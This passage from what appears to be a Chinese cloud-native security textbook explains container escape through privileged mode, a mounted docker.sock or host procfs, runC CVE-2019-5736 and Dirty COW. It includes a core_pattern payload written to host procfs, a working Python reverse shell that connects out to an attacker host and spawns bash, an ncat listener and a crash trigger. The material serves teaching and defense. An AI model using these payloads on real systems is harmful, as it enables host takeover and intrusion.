3.4.1 容器逃逸
与其他虚拟化技术类似,逃逸是最为严重的安全风险,直接危害了底层宿主机和整个云计算系统的安全。
截至成稿,对“容器逃逸”的解读和研究仍为数不多。什么是容器逃逸,如何定义容器逃逸?对这个问题的深入理解有助于研究的展开。为了便于讨论,我们将容器逃逸限定在一个较为狭窄的范围,并以此展开讨论。
“容器逃逸”是指以下一种过程和结果:首先,攻击者通过劫持容器化业务逻辑或直接控制(CaaS等合法获得容器控制权的场景)等方式,已经获得了容器内某种权限下的命令执行能力;攻击者利用这种命令执行能力,借助一些手段进而获得该容器所在的直接宿主机上某种权限下的命令执行能力。
注意以下几点:
1)基于计算机科学领域层式思想及分类讨论的原则,我们定义“直接宿主机”概念,避免在容器逃逸问题内引入虚拟机逃逸问题。读者可能会遇到“物理机运行虚拟机,虚拟机再运行容器”的场景,该场景下的直接宿主机指容器外层的虚拟机。
2)基于上述定义,从渗透测试的角度来看,这里理解的容器逃逸或许更趋向于归入后渗透阶段。
3)同样基于分类讨论的原则,我们仅仅讨论某种技术的可行性,不刻意涉及隐藏与反隐藏、检测与反检测等问题。
4)将最终结果确定为获得直接宿主机上的命令执行能力,而不包括宿主机文件或内存读写能力,或者说,我们认为这些是通往最终命令执行能力的手段。一些特殊的漏洞利用方式,如软件供应链阶段的能够触发漏洞的恶意镜像、在容器内构造恶意符号链接、在容器内劫持动态链接库等,其本质上还是攻击者获得了容器内某种权限下的命令执行能力,即使这种能力可能是间接的。
将这些注意点延伸开来,能够获得很有意思的见解。例如,结合第4点我们可以想到,在权限持久化攻防博弈的进程中,人们逐渐积累了众多Linux场景下建立后门的方法。其中一大经典模式是向特定文件中写入绑定shell或反弹shell语句,五花八门,不胜枚举。
那么如果容器挂载了宿主机的某些文件或目录,将挂载列表与前述用于建立后门而写入shell的文件、目录列表取交集,是不是就可以得到容器逃逸的可能途径呢(见图3-8)?进一步说,用于防御和检测后门的思路和技术,经过改进和移植是否也能覆盖掉某种类型的容器逃逸问题呢?
图3-8 基于挂载的容器逃逸和后门利用技术的知识交集
带着这些问题和理解,我们开始探索之旅。
1.不安全配置导致的容器逃逸
在这些年的迭代中,容器社区一直在努力将纵深防御、最小权限等理念和原则落地。例如,Docker已经将容器运行时的Capabilities黑名单机制改为如今的默认禁止所有Capabilities,再以白名单方式赋予容器运行所需的最小权限。截至本书成稿时,Docker默认赋予容器近40项权限[1]中的14项[2]:
func DefaultCapabilities() []string { return []string{ "CAP_CHOWN", "CAP_DAC_OVERRIDE", "CAP_FSETID", "CAP_FOWNER", "CAP_MKNOD", "CAP_NET_RAW", "CAP_SETGID", "CAP_SETUID", "CAP_SETFCAP", "CAP_SETPCAP", "CAP_NET_BIND_SERVICE", "CAP_SYS_CHROOT", "CAP_KILL", "CAP_AUDIT_WRITE", } }
然而,无论是细粒度权限控制还是其他安全机制,用户都可以通过修改容器环境配置或在运行容器时指定参数来调整约束,但如果用户为容器设置了某些危险的配置参数,就为攻击者提供了一定程度的逃逸可能性。
--privileged:特权模式运行容器
最初,容器特权模式的出现是为了帮助开发者实现Docker-in-Docker特性[3]。然而,在特权模式下运行的不完全受控容器将给宿主机带来极大安全威胁。这里笔者将官方文档对特权模式的描述[4]摘录出来供参考:当操作者执行docker run --privileged时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。
如图3-9所示,我们以特权模式和非特权模式创建了两个容器,其中特权容器内部可以看到宿主机上的设备。
图3-9 特权与非特权容器内看到的宿主机设备情况的差异
在这样的场景下,从容器中逃逸出去易如反掌,手段也是多样的。例如,攻击者可以直接在容器内部挂载宿主机磁盘,然后将根目录切换过去,如图3-10所示。
至此,攻击者已经基本从容器内逃逸出来了。我们说“基本”,是因为仅仅挂载了宿主机的根目录,如果用ps查看进程,看到的还是容器内的进程,因为没有挂载宿主机的procfs。当然,这些已经不是难题。
图3-10 通过挂载宿主机根目录实现容器逃逸
2.不安全挂载导致的容器逃逸
为了方便宿主机与虚拟机进行数据交换,几乎所有主流虚拟机解决方案都会提供挂载宿主机目录到虚拟机的功能。容器同样如此。然而,将宿主机上的敏感文件或目录挂载到容器内部——尤其是那些不完全受控的容器内部,往往会带来安全问题。
尽管如此,在某些特定场景下,为了实现特定功能或方便操作(例如为了在容器内对容器进行管理,将Docker Socket挂载到容器内),人们还是选择将外部敏感卷挂载入容器。随着容器技术应用的逐渐深化,挂载操作变得愈加广泛,由此而来的安全问题也呈现上升趋势。
挂载Docker Socket的情况
Docker Socket是Docker守护进程监听的UNIX域套接字,用来与守护进程通信——查询信息或下发命令。如果在攻击者可控的容器内挂载了该套接字文件(/var/run/docker.sock),容器逃逸就相当容易了。
我们通过一个实验来展示这种逃逸的可能性:
1)首先创建一个容器并挂载/var/run/docker.sock文件。
2)在该容器内安装Docker命令行客户端。
3)接着使用该客户端通过Docker Socket与Docker守护进程通信,发送命令创建并运行一个新的容器,将宿主机的根目录挂载到新创建的容器内部。
4)在新容器内执行chroot,将根目录切换到挂载的宿主机根目录。
具体交互如图3-11所示。
图3-11 通过容器内挂载的docker.sock实现逃逸
与不安全配置导致的容器逃逸的情况类似,攻击者已经基本从容器内逃逸出来了。我们说“基本”,是因为仅仅挂载了宿主机的根目录,如果用ps查看进程,看到的还是容器内的进程,因为没有挂载宿主机的procfs。
挂载宿主机procfs的情况
对于熟悉Linux和云计算的读者来说,procfs绝对不是一个陌生的概念。procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多非常敏感、重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时(截止到本书成稿时,Docker默认情况下没有为容器开启User Namespace)。
一般来说,我们不会将宿主机的procfs挂载到容器中。然而,笔者也观察到,有些业务为了实现某些特殊需要,还是会将该文件系统挂载进来的。
procfs中的/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式。从Linux手册[5]中我们能获得关于内存转储的详细信息,这里摘录其中一段对于我们后面的讨论来说十分关键的信息:
从2.6.19内核版本开始,Linux支持在/proc/sys/kernel/core_pattern中使用新语法。如果该文件中的首个字符是管道符(|),那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。
上述描述的新功能原本是为了方便用户获得并处理内存转储数据,然而,它提供的命令执行能力作为后门的这种思路十分巧妙,具有一定的隐蔽性,也成为攻击者建立后门的理想候选地。
基于上述内容,我们做一个在挂载procfs的容器内利用core_pattern后门实现逃逸的实验。
具体而言,攻击者进入一个挂载了宿主机procfs(为方便区分,我们将其挂载到容器内的/host/proc)的容器中,具有root权限,然后向宿主机procfs写入payload,接着制造崩溃,触发内存转储即可。
如果是在宿主机上借此创建后门,只需执行如下命令并写入payload即可:
echo -e "|/tmp/.x.py \rcore " > /proc/sys/kernel/core_pattern
然而,攻击者在容器中,“/tmp”是容器中的路径,直接这样写入是无法实现容器逃逸的,因为内核在寻找处理内存转储的程序时不会从容器文件系统的根目录开始。我们需要构造类似下面的payload:
echo -e "|$CONTAINER_ABS_PATH/tmp/.x.py \rcore " > /host/proc/sys/ kernel/core_pattern
其中$CONTAINER_ABS_PATH是容器根目录在宿主机上的绝对路径。
如何确定它的值呢?首先执行如下命令:
cat /proc/mounts | grep docker
拿到当前容器在宿主机上的绝对路径。这条命令的返回内容大致如下:
root@202ff7524361:/# cat /proc/mounts | grep docker overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/VTDJ53763 WGIATK7NRY53VRV7G:/var/lib/docker/overlay2/l/JDLR24DFPAO5VEGYH7PA6L6T4M:/ var/lib/docker/overlay2/l/WZFLTYLM5SYSL7HTEVX7DVETI6:/var/lib/docker/overlay2/ l/BPDW73UXX3ICGPFMZDIYQTLH27:/var/lib/docker/overlay2/l/3FREHXCJGJSOZQXFZ PLJDBN5TJ,upperdir=/var/lib/docker/overlay2/155c8884b1370a6614f30ac38b527 de607aa5126b19954f7cb21aedcc2b55471/diff,workdir=/var/lib/docker/overlay2/ 155c8884b1370a6614f30ac38b527de607aa5126b19954f7cb21aedcc2b55471/work 0 0
从返回结果可以得到:
workdir=/var/lib/docker/overlay2/155c8884b1370a6614f30ac38b527de607aa5126b199 54f7cb21aedcc2b55471/work
那么结合背景知识,我们可以得知当前容器在宿主机上的绝对路径是:
/var/lib/docker/overlay2/155c8884b1370a6614f30ac38b527de607aa5126b19954f7cb21 aedcc2b55471/merged
至此,虽然我们不能直接在宿主机“/tmp/”下写入“.x.py”,却可以将
echo -e "|/tmp/.x.py \rcore " > /proc/sys/kernel/core_pattern
改为:
echo -e "|/var/lib/docker/overlay2/155c8884b1370a6614f30ac38b527de607aa5126b 19954f7cb21aedcc2b55471/merged/tmp/.x.py \rcore " > /host/proc/ sys/kernel/core_pattern
其他步骤不变。这样一来,Linux转储机制在程序发生崩溃时就能够顺利找到我们在容器内部的“/tmp/.x.py”了。
接着,在容器内创建作为反弹shell的“/tmp/.x.py”[6]:
import os import pty import socket lhost = "172.17.0.1" # 根据实际情况修改 lport = 10000 # 根据实际情况修改 def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((lhost, lport)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv("HISTFILE", '/dev/null') pty.spawn("/bin/bash") os.remove('/tmp/.x.py') s.close() if __name__ == "__main__": main()
然后在攻击者机器上开启反弹shell监听,例如:
ncat -lvnp 10000
最后,在容器内运行一个可以崩溃的程序即可,例如[7]:
#include <stdio.h> int main(void) { int *a = NULL; *a = 1; return 0; }
3.相关程序漏洞导致的容器逃逸
所谓相关程序漏洞,指的是那些参与到容器生态中的服务端、客户端程序自身存在的漏洞。
图3-12[8]较为完整地展示了操作系统之上的容器及容器集群环境的程序组件。这里涉及的相关漏洞均分布在这些程序当中。
图3-12 参与到容器生态中的程序
CVE-2019-5736:覆盖宿主机上的runC文件
CVE-2019-5736是由波兰CTF战队Dragon Sector在35C3 CTF赛后基于赛中一道沙盒逃逸题目获得的启发,对runC进行漏洞挖掘,成功发现的一个能够覆盖宿主机runC程序的容器逃逸漏洞。该漏洞于2019年2月11日通过邮件列表披露[9]。
我们在执行功能类似于docker exec的命令(其他如docker run等类似,不再讨论)时,底层实际上是容器运行时在操作。例如runC,相应地,runc exec命令会被执行。它的最终效果是在容器内部执行用户指定的程序。进一步讲,就是在容器的各种命名空间内,受到各种限制(如Cgroups)的情况下,启动一个进程。除此以外,这个操作与在宿主机上执行一个程序并无二致。
执行过程大体如下:runC启动并加入到容器的命名空间,接着以自身(“/proc/self/exe”,后面会解释)为范本启动一个子进程,最后通过exec系统调用执行用户指定的二进制程序。
这个过程看起来似乎没有问题,现在,我们需要让另一个角色出场——proc伪文件系统,即/proc。关于这个概念,Linux文档[10]已经给出了详尽的说明,这里我们主要关注/proc下的两类文件:
1)/proc/[PID]/exe:它是一种特殊的符号链接,又被称为magic links,指向进程自身对应的本地程序文件(例如我们执行ls,/proc/[ls-PID]/exe就指向/bin/ls)。
2)/proc/[PID]/fd/:这个目录下包含了进程打开的所有文件描述符。
/proc/[PID]/exe的特殊之处在于,当打开这个文件时,在权限检查通过的情况下,内核将直接返回一个指向该文件的描述符,而非按照传统的打开方式做路径解析和文件查找。这样一来,它实际上绕过了mnt命名空间及chroot机制对一个进程能够访问到的文件路径的限制。
那么,设想如下情况:在runc exec加入到容器的命名空间之后,容器内进程已经能够通过内部/proc观察到它,此时如果打开/proc/[runc-PID]/exe并写入一些内容,就能够实现将宿主机上的runc二进制程序覆盖掉!这样一来,下一次用户调用runc来执行命令时,实际执行的将是攻击者放置的指令。
在存在漏洞的容器环境内,上述思路是可行的,但是攻击者想要在容器内实现宿主机上的代码执行(逃逸),还需要突破两个限制:
1)用户权限限制,需要具有容器内部root权限。
2)Linux不允许修改正在运行的进程对应的本地二进制文件。
事实上,限制1经常不存在,很多容器就是以root身份启动服务的;而限制2是可以克服的(下面的步骤3、4),我们可以现在思考一下下面的攻击步骤:
1)将容器内的/bin/sh程序覆盖为#!/proc/self/exe。
2)持续遍历容器内/proc目录,读取每一个/proc/[PID]/cmdline,对“runc”做字符串匹配,直到找到runc进程号。
3)以只读方式打开/proc/[runc-PID]/exe,拿到文件描述符fd。
4)持续尝试以写方式打开第3步中获得的只读fd(/proc/self/fd/[fd]),一开始总是返回失败,直到runc结束占用后写方式打开成功,立即通过该fd向宿主机上的/usr/bin/runc(名字也可能是“/usr/bin/docker-runc”)写入攻击载荷。
5)runc最后将执行用户通过docker exec指定的/bin/sh,它的内容在第1步中已经被替换成#!/proc/self/exe,因此实际上将执行宿主机上的runc,而runc也已经在第4步中被我们覆盖掉了。
逻辑上没问题,实践一下。先在本地搭建漏洞环境(图3-13给出了Docker和runC的版本号,供参照),大家可以使用开源的metarget靶机项目在Ubuntu服务器上一键部署漏洞环境,在参照项目主页安装metarget后,直接执行以下命令:
./metarget cnv install cve-2019-5736
即可安装好存在CVE-2019-5736漏洞的Docker。
环境搭建好后,运行一个容器,在容器中模仿攻击者执行/poc程序[11],该程序在覆盖容器内/bin/sh为#!/proc/self/exe后等待runc的出现。具体过程如图3-13所示(图中下方“找到PID为28的进程并获得文件描述符”是宿主机上受害者执行docker exec操作之后才触发的)。
图3-13 模拟攻击者执行CVE-2019-5736漏洞利用程序
运行容器内的/poc程序后,我们在容器外的宿主机上模仿受害者使用docker exec命令执行容器内/bin/sh打开shell的场景。触发漏洞后,确实没有交互式shell打开,相反,“/tmp”下已经出现攻击者写入的“hello,host”,具体过程如图3-14所示。
图3-14 模拟受害者执行容器内/bin/sh触发漏洞
这里我们进行概念性验证,所以仅仅向宿主机写入文件。事实上,该漏洞的真正效果是命令的执行,攻击者可以做的事情其实很多。
4.内核漏洞导致的容器逃逸
Linux内核漏洞的危害之大、影响范围之广,使得它在各种攻防话题中都占据非常重要的一席。无论是传统的权限提升、Rootkit(隐蔽通信和高权限访问持久化)、DoS(拒绝服务攻击),还是如今我们谈论的容器逃逸,一旦有内核漏洞加持,利用条件往往就会从不可行变为可行,从难利用变为易利用。事实上,无论攻防场景怎样变化,我们对内核漏洞的利用往往都是从用户空间非法进入内核空间开始,到内核空间赋予当前或其他进程高权限后回到用户空间结束。
从操作系统层面来看,容器进程只是一种受到各种安全机制约束的进程,因此从攻防两端来看,容器逃逸都遵循传统的权限提升流程。攻击者可以凭借此特点拓展容器逃逸的思路,一旦有新的内核漏洞产生,就可以考虑它是否能够用于容器逃逸;而防守者则能够针对此特征进行防护和检测,如宿主机内核打补丁,或检查该内核漏洞利用有什么特点。
我们的关注点并非是内核漏洞,列举并剖析过多内核漏洞无益,但我们可以提出如下问题:为何内核漏洞能够用于容器逃逸,在具体实施过程中与内核漏洞用于传统权限提升有什么不同,在有了内核漏洞利用代码之后还需要做哪些工作才能实现容器逃逸,这些工作是否能够工程化,进而形成固定套路?这些问题将把我们带入更深层次的研究中,也会有不一样的收获。
CVE-2016-5195:内存页的写时复制问题
近年来,Linux系统曝出无数内核漏洞,其中不少能够用来提权,经典的脏牛(CVE-2016-5195依赖于内存页的写时复制机制,该机制英文名称为Copy-on-Write,再结合内存页特性,将漏洞命名为Dirty CoW,译为“脏牛”)大概是其中最有名气的漏洞之一。漏洞发现者甚至为其申请了专属域名:dirtycow.ninja[12]。
关于脏牛漏洞的分析和利用文章早已多如牛毛,这里我们使用来自scumjr的PoC[13]来完成容器逃逸。该利用的核心思路是向vDSO内写入shellcode,并劫持正常函数的调用过程。
首先布置好实验环境,然后在宿主机上以root权限创建/root/flag并写入以下内容:
flag{Welcome_2_the_real_world}
接着进入容器,执行漏洞利用程序,在攻击者指定的竞争条件胜出后,可以获得宿主机上反弹过来的shell,在shell中成功读取之前创建的高权限flag,如图3-15所示。读者可以自行验证。
图3-15 利用CVE-2016-5195漏洞实现容器逃逸
[1] http://man7.org/linux/man-pages/man7/capabilities.7.html。
[2] https://github.com/moby/moby/blob/a874c42edac24ab5c22d56e49e9262eec6fd8e63/oci/caps/defaults.go#L4。
[3] https://www.docker.com/blog/docker-can-now-run-within-docker。
[4] https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities。
[5] http://man7.org/linux/man-pages/man5/core.5.html。
[6] 随书代码仓库路径:https://github.com/brant-ruan/cloud-native-security-book/blob/main/code/0304-运行时攻击/01-容器逃逸/tmp-dot-x.py。
[7] 随书代码仓库路径:https://github.com/brant-ruan/cloud-native-security-book/blob/main/code/0304- 运行时攻击/01- 容器逃逸/cause-core-dump.c。
[8] 图片来自https://containerd.io。
[9] https://www.openwall.com/lists/oss-security/2019/02/11/2。
[10] http://man7.org/linux/man-pages/man5/proc.5.html。
[11] https://github.com/Frichetten/CVE-2019-5736-PoC。随书代码仓库路径:https://github.com/brant-ruan/cloud-native-security-book/tree/main/code/0304-运行时攻击/01-容器逃逸/CVE-2019-5736。
[12] 在笔者的印象中,上一个申请了域名的严重漏洞还是2014年的心脏滴血(CVE-2014-0160,heartbleed.com)。自这两个漏洞开始,越来越多的研究人员开始为他们发现的高危漏洞申请域名(尽管依然是极少数)。
[13] https://github.com/scumjr/dirtycow-vdso.git。随书代码仓库路径:https://github.com/brant-ruan/cloud-native-security-book/tree/main/code/0304-运行时攻击/01-容器逃逸/CVE-2016-5195。